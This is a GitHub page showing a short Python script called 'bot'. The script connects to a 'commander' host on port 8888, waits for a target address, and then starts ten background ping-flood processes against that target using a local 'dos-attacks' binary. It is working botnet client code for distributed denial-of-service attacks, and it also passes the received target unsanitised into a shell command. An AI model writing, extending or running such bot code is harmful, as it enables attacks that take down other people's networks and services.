-
Notifications
You must be signed in to change notification settings - Fork 1
/
bot
28 lines (24 loc) · 952 Bytes
/
bot
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
'''
A bot that that attaches to a socket from the controller and starts a ping flood
against the chosen target.
'''
import argparse
import os
import socket
if __name__ == '__main__':
PARSER = argparse.ArgumentParser(
description="A bot ping floods the target specified by the controller"
)
PARSER.add_argument("-c", "--commander", dest="commander", action="store",
help="The IP address of the commander")
ARGS = PARSER.parse_args()
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
print(f"Connecting to commander {ARGS.commander}")
s.connect((ARGS.commander, 8888))
print("Connected, waiting for order")
TARGET = s.recv(1024).decode()
print(f"Order received, attacking {TARGET}")
for _ in range(10):
os.system(f"./dos-attacks/target/release/dos-attacks ping-flood {TARGET} &")